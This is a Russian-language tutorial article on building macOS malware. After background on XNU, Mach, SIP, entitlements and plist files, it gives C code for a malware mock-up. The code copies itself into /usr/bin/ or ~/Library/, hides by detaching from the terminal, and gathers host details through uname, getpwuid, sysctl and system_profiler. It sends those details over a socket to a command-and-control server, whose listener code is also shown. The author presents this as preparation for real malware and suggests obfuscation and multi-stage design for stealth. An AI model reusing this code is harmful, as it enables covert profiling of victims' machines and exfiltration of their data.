В этой статье мы погрузимся в мир проектирования и разработки вредоносного ПО для macOS, которая по сути является операционной системой на основе Unix. При исследовании внутренностей системы Apple мы воспользуемся классическим подходом с опорой на базовые знания эксплойтов, программирования на C и Python, а также знакомство с низкоуровневым языком ассемблера. Хотя представленные в статье темы могут быть сложными, я постараюсь изложить их понятным языком.
По какому плану мы с вами будем двигаться:
Начнем со знакомства с архитектурой macOS и с особенностями её безопасности;
Затем углубимся во внутреннее устройство и рассмотрим ключевые элементы: Mach API и ядро;
Создадим заготовку зловредного ПО.
Ядро Mac: вводная информация
Ядро Mac OS X (xnu) — это ядро операционной системы с уникальной родословной. Оно объединяет в себе микроядро Mach с более традиционным и современным монолитным ядром FreeBSD. Микроядро Mach соединяет мощную абстракцию (межпроцессную коммуникацию Mach на основе сообщений IPC) с несколькими совместно работающими серверами, образуя ядро операционной системы. Также микроядро Mach отвечает за управление отдельными, состоящими из множества потоков, задачами в рамках их собственных адресных пространств. Оно имеет стандартные серверы, которые обеспечивают сервисы пагинация виртуальной памяти и управление системными часами.
Однако самому по себе микроядру Mach недостаёт критически важных функций: управление пользователями, файловыми системами и сетью. Для решения этой проблемы в ядро Mac OS X включено ядро FreeBSD, в частности, его верхняя часть: обработчики системных вызовов, файловые системы, сеть и так далее. Эта портированная часть работает поверх микроядра Mach. Оба ядра находятся в одном привилегированном адресном пространстве. С помощью такого решения удается устранить проблемы с производительностью из-за чрезмерно активной передачи сообщений IPC между компонентами ядра. Тем не менее Mach API, доступный из кода ядра, остаётся согласованным с Mach API, доступным пользовательским процессам.
Osx и System Integrity Protection (SIP)
Прежде чем углубляться в разработку под macOS, важно понять основы этой операционной системы. В этом разделе мы в основном рассмотрим меры для защиты безопасности и, в частности, System Integrity Protection (SIP).
SIP — это важная фича обеспечения безопасности. Она спроектирована для защиты критичных системных файлов, папок и процессов от неавторизованной модификации и вмешательства сторонних приложений. SIP накладывает ограничения на доступ для записи на защищённые участки системы даже для процессов с рут-привилегиями, предотвращая таким образом неавторизованное изменение. SIP реализует дополнительные функции безопасности для расширений системы и драйверов ядра. Например, расширения ядра обязательно должны быть подписаны Apple или разработчиками, использующими валидный Developer ID. Это строгое требование гарантирует, что в ядро могут загружаться только надёжные расширения.
Как мы видим, SIP (System Integrity Protection) включена: значит, система использует её функции защиты. Присутствие флага «restricted» на некоторых папках указывает на защиту этих областей посредством SIP. Важно отметить, что защита SIP может не распространяться на подпапки внутри SIP-папки.
Чтобы преодолеть это ограничение, применяются Firmlink
. Они позволяют создать особые символьные ссылки, защищённые SIP. Это повышает совместимость и обеспечивает их функциональность даже в местах под защитой SIP. Эта система идеально работает и позволяет приложениям и скриптам использовать их как обычные символьные ссылки без какой-то особой обработки. Можно создавать символьные ссылки в папках наподобие /usr
, /bin
, /sbin
и /etc
, которые из-за SIP были бы недоступны.
Благодаря использованию firmlink разработчики и пользователи могут решать проблемы совместимости и одновременно пользоваться преимуществами защиты SIP. Это обеспечивает баланс между защитой системы и учётом потребностей приложений и скриптов, которые используют символьные ссылки в macOS. С помощью firmlink можно получить доступ к тем папкам, которые находятся в защищенных областях: например, к /usr/local.
При этом сохраняется гибкость при управлении и установке ПО и скриптов в эту папку.
Entitlements
Entitlements — это разрешения, которые предоставляются приложениям в macOS. Они указывают их уровень доступа и возможности внутри системы. Разрешения управляют способностью приложения взаимодействовать с различными ресурсами системы: с сетью, файловой системой, оборудованием и приватной пользовательской информацией. Предоставляя конкретные entitlements, macOS гарантирует, что приложения имеют все нужные разрешения для выполнения их задач и при этом обеспечивают целостность системы, защищают приватность пользователя.
Обычно Entitlements хранятся в файле Info.plist-приложения, расположенного внутри бандла .app. Файл Info.plist содержит метаданные и подробности конфигурации приложения, а также пары ключ-значение, описывающие entitlements. Каждое entitlement представлено ключом, обозначающим конкретное разрешение или уровень доступа, и значением, определяющим соответствующий параметр.
Например, запись entitlement в файле Info.plist может выглядеть так:
<key>com.apple.security.network.client</key><true/>
В данном случае entitlement с ключом “com.apple.security.network.client” обозначает, что у приложения есть разрешение работать в качестве сетевого клиента и обеспечивать ему доступ к сетевым ресурсам.
Можно получить entitlements приложения при помощи следующей команды:
codesign --display --entitlements - /path/to/foo.app
Конкретные entitlements и соответствующие им ключи и значения могут сильно варьироваться в зависимости от требований приложения и доступных ресурсов. Определяя entitlements, macOS гарантирует, что приложения работают в рамках заданных границ и обеспечивают безопасность, приватность и контролируемый доступ к системным ресурсам.
Info.plist
Теперь давайте поговорим о файлах Property List (plist). Этот формат файлов используется в macOS для хранения структурированных данных: параметров конфигурации, настроек и метаданных. Он имеет иерархическую структуру с парами ключ-значение, поддерживает различные типы данных. Файлы Property list (списков свойств) могут быть в XML или в двоичном формате.
В контексте macOS файлы property list обычно используются для хранения метаданных приложений, entitlements, параметров песочницы и подробностей подписывания кода. Например:
Entitlements: файлы Property list типа Info.plist могут содержать entitlements, дающие приложениям разрешения, указывающие их доступ к системным ресурсам.
Sandbox: файлы Property list определяют параметры песочницы, которые ограничивают доступ приложения к ресурсам. Это повышает безопасность и защищает приватность пользователей.
Code Signing: файлы Property list хранят информацию, связанную с подписыванием кода. Они верифицируют подлинность и целостность приложения.
Файлы Property List (plist) могут содержат различные типы данных и иметь иерархическую структуру. Вот некоторые из обычно используемых типов данных:
Типы данных:
String: последовательность символов.
Number: задаёт числовые значения, в том числе целочисленные и числа с плавающей запятой.
Boolean: задаёт значения true или false.
Date: определяет конкретную дату и время.
Array: упорядоченный набор значений.
Dictionary: набор пар ключ-значение, в котором каждый ключ уникален.
Вот пример структуры файла plist:
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.files.user-selected.read-only</key>
<true/>
<key>com.apple.security.network.client</key>
<true/>
</dict>
</plist>
В этом примере файл списка свойств содержит словарь с несколькими ключами entitlement, относящимися к песочнице. Каждый ключ описывает отдельное entitlement, а значение <true/>
означает, что соответствующее entitlement включено.
В примере выше используется три следующих entitlement:
com.apple.security.app-sandbox
: включает песочницу для приложения.com.apple.security.files.user-selected.read-only
: разрешает доступ для чтения к выбранным пользователям файлам.com.apple.security.network.client
: даёт приложению разрешение работать в качестве сетевого клиента.
Из этого упрощённого примера видно, что файлы списков свойств могут хранить entitlement, связанные с песочницей. Эти файлы обеспечивают структурированный формат для указания доступа и разрешений приложения внутри песочницы.
Можно воспользоваться otool для чтения Info.plist в различных форматах:
plutil -convert xml1 /Applications/Safari.app/Contents/Info.plist -o -
plutil -convert json /Applications/Safari.app/Contents/Info.plist -o -
Файлы списков свойств играют критичную роль в macOS. Это структурированный и стандартизированный формат для хранения важной информации, связанной с entitlements, песочницей, подписыванием кода и многим другим. Файлы списков воляют приложениям и компонентам системы получать удобный доступ к этим данным и важны для безопасности и целостности экосистемы macOS.
И пока это всё, что нам нужно знать. Существует ещё множество аспектов, в том числе Gatekeeper, Sandboxing, App Bundle и так далее, но это самые важные для нас механизмы обеспечения безопасности. Теперь давайте погрузимся немного глубже и обсудим внутреннюю архитектуру. Зачем изучать внутреннее устройство? Хоть я и не планирую разрабатывать руткит или что-то столь же сложное, очень важно максимально полно понимать операционную систему с точки зрения разработчика, ведь мы всё-таки пишем ПО.
Mach API
Давайте вкратце рассмотрим Mach. Это ядро разрабатывалось, чтобы заложить фундамент для развития различных операционных систем. Упор делается на микроядерную архитектуру: она нацелена на то, чтобы важные сервисы операционной системы (файловые системы, ввод-вывод, управление памятью, работа с сетью) были отделены от ядра.
Ядром Mac OS X служит XNU («X is not UNIX»). Darwin и остальной программный стек OS X основываются на XNU.
XNU интересен тем, что это гибридная операционная система: она смешивает интерфейс задач оборудования/ввода-вывода из минималистичного микроядра Mach с элементами из ядра FreeBSD и его API, совместимого с POSIX. Сопоставление программ с процессами в виртуальной памяти OS X — довольно сложная тема, в том числе и из-за нечётких определений. Например, термин «поток» (thread) может относиться и к pthread POSIX API из BSD, и к фундаментальному элементу исполнения в рамках задачи Mach. Более того, существует два отдельных множества системных вызовов, каждое из которых привязано к положительным (Mach) или отрицательным (BSD) числам.
Mach предоставляет интерфейс виртуальной машины, абстрагирующий оборудование системы. Это довольно часто встречающаяся особенность многих операционных систем. Основное ядро спроектировано так, чтобы быть простым и расширяемым, оно использует механизм Inter-Process Communication (IPC), лежащий в основе многих сервисов ядра. Примечательно, что Mach интегрирует функции IPC со своей подсистемой виртуальной памяти и обеспечивает возможность оптимизаций и упрощения во всей операционной системе.
В OS X мы работаем с «задачами» (task), а не с процессами. Задачи, похожие на процессы, служат в качестве абстракций уровня ОС, содержащих все ресурсы, необходимые для исполнения программы. В рамках задачи могут использоваться следующие ресурсы:
Пространство виртуальных адресов
Права портов Inter-process communication (IPC)
Один или несколько потоков
«Порты» используются для связи между задачами и задействуют структурированные сообщения для передачи информации. Порты, работающие исключительно в пространстве ядра, применяются как «почтовые ящики», однако имеют ограничения на отправителей сообщений. Порты идентифицируются по 32-битным номерам, индивидуальным для каждой задачи.
Потоки — это единицы исполнения, планируемые ядром. OS X поддерживает два типа потоков:Mach и pthread. Выбор обусловлен источником происхождения кода: пользовательского режима или режима ядра. Потоки Mach находятся на самом нижнем уровне ОС в режиме ядра, а pthreads из пространства BSD исполняют программы в пользовательском режиме (подробнее об этом ниже).
Mach разбивает традиционное понятие процесса из Unix на два компонента: задачу и поток. В ядре процесс BSD согласуется с задачей Mach. Задача используется в качестве каркаса для исполнения потоков, инкапсуляции ресурсов и определения границ защиты программы. Порты Mach и гибкие абстракции упрощают операции с механизмами IPC и с ресурсами.
Сообщения IPC в Mach передаются между потоками, сообщения содержат данные или указатели на внешние данные. Передача сообщений выполняется асинхронным образом, через сообщения передаются возможности портов.
Система виртуальной памяти Mach содержит такие машинонезависимые компоненты, как таблицы адресов и объекты памяти, а также машинозависимые элементы: например, физическое распределение памяти. Объекты памяти служат контейнерами для данных, отображённых в адресном пространстве задачи, и управляются различными механизмами, обрабатывающими отдельные типы памяти. Порты исключений, назначаемые каждой задаче и потоку, упрощают обработку исключений. Это позволяет нескольким обработчикам приостанавливать выполнение затронутых потоков, обрабатывать исключения, после чего продолжать или завершать потоки.
Давайте изучим основы системных вызовов Mach, в том числе получение системной информации и выполнение инъецирования кода. Системный вызов — это функция ядра, вызываемая пользовательским пространством. Она может задействовать задачи: например, запись в дескриптор файла или выход из программы. Обычно эти системные вызовы обёрнуты в функции C из стандартной библиотеки.
Начнём с малого: системный вызов Mach
Давайте изучим основы системных вызовов Mach, в том числе получение системной информации и выполнение инъецирования кода. Системный вызов — это функция ядра, вызываемая пользовательским пространством. Она может задействовать задачи, например, запись в дескриптор файла или выход из программы. Обычно эти системные вызовы обёрнуты в функции C из стандартной библиотеки.
Изучив интерфейс Mach IPC или документацию Apple, можно найти системный вызов Mach, с помощью которого можно получить основную информацию о системе-хосте. Mach сообщает нам такие данные, как количество имеющихся CPU (максимальное и доступное), физические и логические CPU, размер памяти и максимальный размер памяти. Это вызов host_info(), с его помощью можно получить подробности о хосте: например, о типе установленных процессоров, количестве доступных процессоров на текущий момент и общем объёме памяти.
Как и многие «информационные» вызовы Mach, host_info() требует дополнительного аргумента для указания нужной информации. Например:
kern_return_t host_info(host_t host, host_flavor_t flavor,
host_info_t host_info,
mach_msg_type_number_t host_info_count);
HOST_BASIC_INFO
: возвращает основную информацию о системе.HOST_SCHED_INFO
: возвращает данные, относящиеся к планировщику.HOST_PRIORITY_INFO
: возвращает информацию, относящуюся к приоритетам планировщика.
Кроме host_info()
, для получения различной информации о системе можно выполнять такие вызовы, как host_kernel_version()
, host_get_boot_info()
и host_page_size()
.
int main() {
kern_return_t kr; /* стандартный возвращаемый тип для вызовов Mach */
mach_port_t myhost;
char kversion[256];
host_basic_info_data_t hinfo;
mach_msg_type_number_t count;
vm_size_t page_size;
// Получение системной информации
printf("Retrieving System Information...\n");
// Получение прав отправки на порт для текущего хоста
myhost = mach_host_self();
// Получение версии ядра
kr = host_kernel_version(myhost, kversion);
EXIT_ON_MACH_ERROR("host_kernel_version", kr);
// Получение основной информации о хосте
count = HOST_BASIC_INFO_COUNT; // размер буфера
kr = host_info(myhost, HOST_BASIC_INFO, (host_info_t)&hinfo, &count);
EXIT_ON_MACH_ERROR("host_info", kr);
// Получение размера страницы
kr = host_page_size(myhost, &page_size);
EXIT_ON_MACH_ERROR("host_page_size", kr);
printf("Kernel Version: %s\n", kversion);
printf("Maximum CPUs: %d\n", hinfo.max_cpus);
printf("Available CPUs: %d\n", hinfo.avail_cpus);
printf("Physical CPUs: %d\n", hinfo.physical_cpu);
printf("Maximum Physical CPUs: %d\n", hinfo.max_cpus);
printf("Logical CPUs: %d\n", hinfo.logical_cpu);
printf("Maximum Logical CPUs: %d\n", hinfo.logical_cpu);
printf("Memory Size: %llu MB\n", (unsigned long long)(hinfo.memory_size >> 20));
printf("Maximum Memory: %llu MB\n", (unsigned long long)(hinfo.max_mem >> 20));
printf("Page Size: %u bytes\n", (unsigned int)page_size);
// Очистка и выход
mach_port_deallocate(mach_task_self(), myhost);
exit(0);
}
Код вполне понятен: он просто получает системную информацию и может отображать версию ядра. Всё просто и безопасно. Но если мы хотим узнать больше о системных вызовах, нам нужно нечто иное. Как насчёт того, что будет вести себя подобно зловреду? Для начала напишем код, который записывает свою копию или в /usr/bin/, или в /Library/.
Чтобы обеспечить такое поведение, нам нужно использовать операции с задачами, так как требуется управлять другим процессом и получать доступ к системным процессам. Я нашёл системные вызовы Mach наподобие pid_for_task()
, task_for_pid()
, task_name_for_pid()
и mach_task_self()
, позволяющие выполнять преобразования между портами задач Mach и Unix PID. Однако они, по сути, обходят модель производительности, то есть в macOS они ограничены из-за проверок UID, entitlements, SIP, и так далее, из-за чего ограничены и их возможности. Кроме того, они не задокументированы как часть публичного API и привилегированы. Обычно доступ к ним имеют лишь только процессы с повышенными привилегиями, например, рут или члены procview group. Это ограничение затрудняет нашу работу, поскольку dhtljyjcyjve ПО для работы потребуются повышенные привилегии или исполнение в привилегированном аккаунте, если не удастся получить их при помощи других способов.
То есть из-за SIP мы не можем использовать task_for_pid
в двоичных файлах платформы Apple. Однако если разрешения есть, мы можем получить порт и вправе делать практически всё необходимое нам. Для этого примера мы воспользуемся mach_task_self()
, так как обычно он не требует привилегий. Он получает информацию о текущей задаче, а его работа зависит от задействованных политик безопасности.
int main(int argc, char *argv[]) {
kern_return_t kr;
task_t target_task;
geteuid() != 0;
kr = mach_task_self();
struct stat st;
if (stat("/usr/bin/", &st) == 0 && S_ISDIR(st.st_mode) &&
access("/usr/bin/", W_OK) == 0) {
// Запись в /usr/bin/
char buffer[BUF_SIZE];
ssize_t bytes_read;
int src_fd = open(argv[0], O_RDONLY);
int dest_fd = open("/usr/bin/" MALWARE_NAME, O_WRONLY | O_CREAT | O_TRUNC,
S_IRUSR | S_IWUSR);
while ((bytes_read = read(src_fd, buffer, sizeof(buffer))) > 0) {
write(dest_fd, buffer, bytes_read);
}
close(src_fd);
close(dest_fd);
} else {
// Fallback
char home_malware_path[256];
snprintf(home_malware_path, sizeof(home_malware_path), "%s/Library/%s",
getenv("HOME"), MALWARE_NAME);
char buffer[BUF_SIZE];
ssize_t bytes_read;
int src_fd = open(argv[0], O_RDONLY);
int dest_fd = open(home_malware_path, O_WRONLY | O_CREAT | O_TRUNC,
S_IRUSR | S_IWUSR);
while ((bytes_read = read(src_fd, buffer, sizeof(buffer))) > 0) {
write(dest_fd, buffer, bytes_read);
}
close(src_fd);
close(dest_fd);
}
hide_process();
mach_port_deallocate(mach_task_self(), target_task);
exit(EXIT_SUCCESS);
}
Взглянув на функцию main, можно увидеть, как мы получаем порт задачи для текущего процесса, а именно право отправки в порт задачи. По сути, это просто право отправки на порт Mach, для которого ядро владеет правом получения. Особенным порт задачи делает то, что когда ядро получает сообщение, отправленное порту задачи, то вместо помещения этого сообщения в очередь ядро выполнит действие с соответствующей задачей. Это значит, что процессы пользовательского пространства могут отправлять сообщения порту задачи, чтобы исследовать задачу или управлять ею при помощи mach_task_self()
, а также проверять, имеет ли она доступ к /usr/bin/
. Если выполнить запись в /usr/bin/ не удаётся, выполняется копирование самой программы в ~/Library/
(домашнюю папку пользователя) с указанным именем.
Вызов функции hide_process()
скрывает дочерний процесс от взаимодействия с пользователем и препятствует получению им сигналов от терминала. Он создаёт дочерний процесс при помощи fork(), выходит из родительского процесса, а затем отсоединяет дочерний процесс от контролирующего его терминала при помощи setsid()
.
Этот пример просто демонстрирует основную технику, используемую зловредным ПО для сокрытия от системы: оно копирует себя в системную папку (/usr/bin/)
или в домашнюю папку пользователя (~/Library/)
, а затем пытается скрыть свою работу от обнаружения.
Это ещё далеко не вредоносный код, но он даёт нам понимание того, как работать с Mach API и выполнять низкоуровневые системные операции. Благодаря этому примеру мы познакомились важными концепциями: управление процессами и обмен сообщениями.
0x100003e79 <+505>: callq 0x100003c50 ; hide_process
0x100003e7e <+510>: movq 0x17b(%rip), %rax ; (void *)0x0000000000000000
0x100003e85 <+517>: movl (%rax), %edi
0x100003e87 <+519>: movl -0x18(%rbp), %esi
0x100003e8a <+522>: callq 0x100003ec6 ; symbol stub for: mach_port_deallocate
0x100003e8f <+527>: xorl %edi, %edi
0x100003e91 <+529>: movl %eax, -0x21ec(%rbp)
0x100003e97 <+535>: callq 0x100003eb4 ; symbol stub for: exit
Мы поместили нашу маленькую программу в отладчик. Как видите, в дизассемблированной части есть команды, соответствующие нашей операции: например, /usr/bin/. Также здесь выполняются операции очистки: например, освобождение порта и выход из программы.
Наивный способ
После заражения нового хоста нам нужно сделать так, чтобы вредоносное ПО уведомляло нас о своём присутствии, отправляя информацию о хосте. Хотя этот способ может показаться любительским (изначально вредоносное ПО не должно подключаться к серверу Command & Control (C2)), мы пока только исследуем macOS, так что это будет хорошей начальной точкой. Мы собрали такую системную информацию: имя системы, версия релиза, архитектура машины, модель оборудования, ID пользователя, домашняя папка и так далее. После мы отправляем эту информацию на C2. Для получения или изменения информации о системе и окружении можно воспользоваться Developer Apple — sysctlbyname. Эта функция позволяет нам напрямую получать от ядра системы системную информацию типа размер строки кэша.
Однако при определении владельца/пользователя системы мы обычно выполняем доступ к связанным с пользователем данным при помощи стандартных интерфейсов POSIX наподобие getpwuid(), применяя эти интерфейсы так же, как было рассмотрено ранее. Для получения модели оборудования мы должны заменить "hw.cachelinesize" на "hw.model" в вызове функции sysctlbyname.
Далее нам нужно собрать больше информации о хосте, а не только о модели оборудования. Вы можете задаться вопросом, почему мы не используем просто первый пример. Всё просто — это нужно, чтобы продемонстрировать способ доступа к относящимся к пользователям данным через стандартные интерфейсы POSIX. Однако если вы хотите добавить модель оборудования в приведённый выше пример, то достаточно сделать следующее:
count = sizeof(model); kr = sysctlbyname("hw.model", model, &count, NULL, 0); EXIT_ON_MACH_ERROR("sysctl hw.model", 1);
Также мы хотим отправить некую информацию наподобие версии ядра, чтобы проверить возможные известные уязвимости. Тут мы используем ту же функцию, что и при получении модели оборудования:
size_t len = BUF_SIZE;
if (sysctlbyname("kern.version", &kernel_version, &len, NULL, 0) == 0) {
send_data(sockfd, "\nKernel Version: ");
send_data(sockfd, kernel_version);
Теперь давайте сдампим и отправим больше информации о профиле заражённого хоста: имя системы, архитектура, шелл логина, домашняя папка и другую релевантную информацию. Эти данные могут помочь нам в дальнейшем эксплойтинге или обеспечении доступа к скомпрометированной системе. Мы используем функции uname
, getpwuid
и getgrgid
. Давайте взглянем на код:
void system_info(int sockfd) {
struct utsname sys_info;
char kernel_version[BUF_SIZE];
// Получаем системную информацию
if (uname( & sys_info) != 0) {
send_error("Failed to get system information");
return;
}
send_data(sockfd, "\nSystem Name: ");
send_data(sockfd, sys_info.sysname);
send_data(sockfd, "\nRelease Version: ");
send_data(sockfd, sys_info.release);
send_data(sockfd, "\nMachine Architecture: ");
send_data(sockfd, sys_info.machine);
send_data(sockfd, "\nOperating System: ");
send_data(sockfd, sys_info.sysname);
send_data(sockfd, "\nVersion: ");
send_data(sockfd, sys_info.version);
Функция говорит сама за себя: она просто создаёт «снимок» системы и пользовательского окружения. Это очень важно для сбора информации о потенциальных целях. Однако поскольку вредоносное ПО обычно имеет только один шанс на заражение, то прежде, чем пытаться связываться с сервером, оно должно стать самостоятельным. Именно поэтому мы используем макет зловреда для тестирования и исследования доступных вариантов и только потом будем разрабатывать настоящее ПО.
Тем не менее развёртывание макета позволяет нападающим получить существенный объём информации, которую можно использовать для последующих целевых атак или для эксплойтинга уязвимостей в ядре или в пользовательском окружении. Чтобы обеспечить скрытность и малозаметность зловреда, его можно сделать многоэтапным. Этот код может служить первым этапом атаки, он способен размножиться в системе, ожидая активации второго этапа, и так далее. Такие типы атак сложны и их трудно выявить, особенно в средах наподобие macOS, где зловредное ПО может оставаться необнаруженным в течение многих лет.
Ещё один тип сбора информации, используемый в зловредах для macOS, задействует LOLBins (Living off the Land Binaries). Можно запрограммировать зловред так, чтобы он просто исполнял /usr/sbin/system_profiler -nospawn -detailLevel full
. Пример:
void system_profiler(int sockfd) {
FILE * fp;
char buffer[BUF_SIZE];
// Исполняем
fp = popen("/usr/sbin/system_profiler -nospawn -detailLevel full", "r");
if (fp == NULL) {
send_error("Failed");
return;
}
// Считываем вывод команды и отправляем на C2
while (fgets(buffer, BUF_SIZE, fp) != NULL) {
send_data(sockfd, buffer);
}
pclose(fp);
}
Эта команда сама по себе избавляет нас от трудностей и предоставляет всю информацию о хосте, которую может собрать нападающий. Однако сложность здесь в том, что такие команды видимы и их легко отследить. Несмотря на это, такой способ остаётся простой и эффективной методикой извлечения информации о заражённом хосте.
Хорошо, но как нам передать данные? Мы воспользуемся socket. Этот API позволяет нам отправлять данные на подключённую конечную точку, то есть в данном случае на сервер Command & Control. Данные передаются в виде строк. Для обеспечения правильного форматирования и передачи через сокет на сервер C2 мы используем функции наподобие send() и функции ввода-ввода наподобие popen() и fgets().
Сервер C2 предназначен только для обработки входящих соединений. Он не имеет никаких механизмов защиты для сокрытия себя в системе, но этот сервер нужен нам только для демонстрации возможности работы такого зловреда. Я рекомендую реализовать шифрование, создать базу данных для упорядочивания данных и сгенерировать временный ID для привязки к каждому экземпляру.
Модуль извлечения (ext) запускается как автономный поток, слушающий входящие подключения со стороны экземпляров вредоносного ПО. После подключения модуль просто выводит содержимое входящего соединения (то есть извлечённую из клиента информацию) на стандартный вывод.
// Сервер будет бесконечно слушать входящие соединения
while (1) {
// Принятие нового соединения со стороны клиента
cltlen = sizeof(cltaddr);
cltfd = accept(dexft_fd, (struct sockaddr *) &cltaddr, &cltlen);
// Проверка успешности вызова принятия
if (cltfd < 0) {
// В случае неудачи выводим сообщение об ошибке и продолжаем слушать
printf("Failed to accept incoming connection, %d\n", cltfd);
continue;
}
// Вывод информации о подключенном клиенте
printf("Collecting data from client %s:%d...\n", inet_ntoa(cltaddr.sin_addr), ntohs(cltaddr.sin_port));
// Получение данных от клиента и их обработка
while ((br = recv(cltfd, buf, BUF_SIZE, 0)) > 0) {
// Запись полученных данных в стандартный вывод
fwrite(buf, 1, br, stdout);
}
// Проверка наличия ошибок во время принятия данных
if (br < 0) {
printf("ERROR: Failed to receive data from client!\n");
}
// Закрытие сокета клиента
close(cltfd);
}
return NULL;
Как видите, сам по себе код довольно прост, но при этом функционален. После запуска клиента сервер собирает данные от подключенных клиентов, а затем закрывает соединение и продолжает слушать новые соединения.
Collecting data from client ...
System Name: Darwin
Release Version: 19.6.0
Machine Architecture: x86_64
Operating System: Darwin
Очевидно, что в случае использования механизма защиты такое поведение будет выявлено за считанные секунды. Почему? Подобное поведение просто кричит о том, что перед пользователем зловред — программа устанавливает соединение для отправки системной информации и непрерывно получает и исполняет команды от удалённого сервера. Паттерн сетевого трафика сам по себе является тревожным признаком. Плюс передача системной информации сразу после установки соединения… Но хорошо то, что большинство пользователей Mac по умолчанию предполагает, что они находятся в безопасности: они не думают, что вредоносное ПО может оставаться незамеченным.
То есть если бы это была нацеленная атака, то решить проблему могла бы обфускация, а также, возможно, полиморфные и более сложные тайные каналы связи. Однако в этом примере мы просто изучаем только то, как макет зловреда можно использовать для обучения перед созданием реального зловредного ПО.
В следующей статье мы:
Изучим методики инъецирования кода и то, как он применяется в вредоносном ПО;
Затронем способы обеспечения постоянства хранения;
-
В конце мы покажем простой процесс инъецирования шелл-кода и его постоянного хранения.
Veritaris
Заголовочные файлы и define для запуска примера: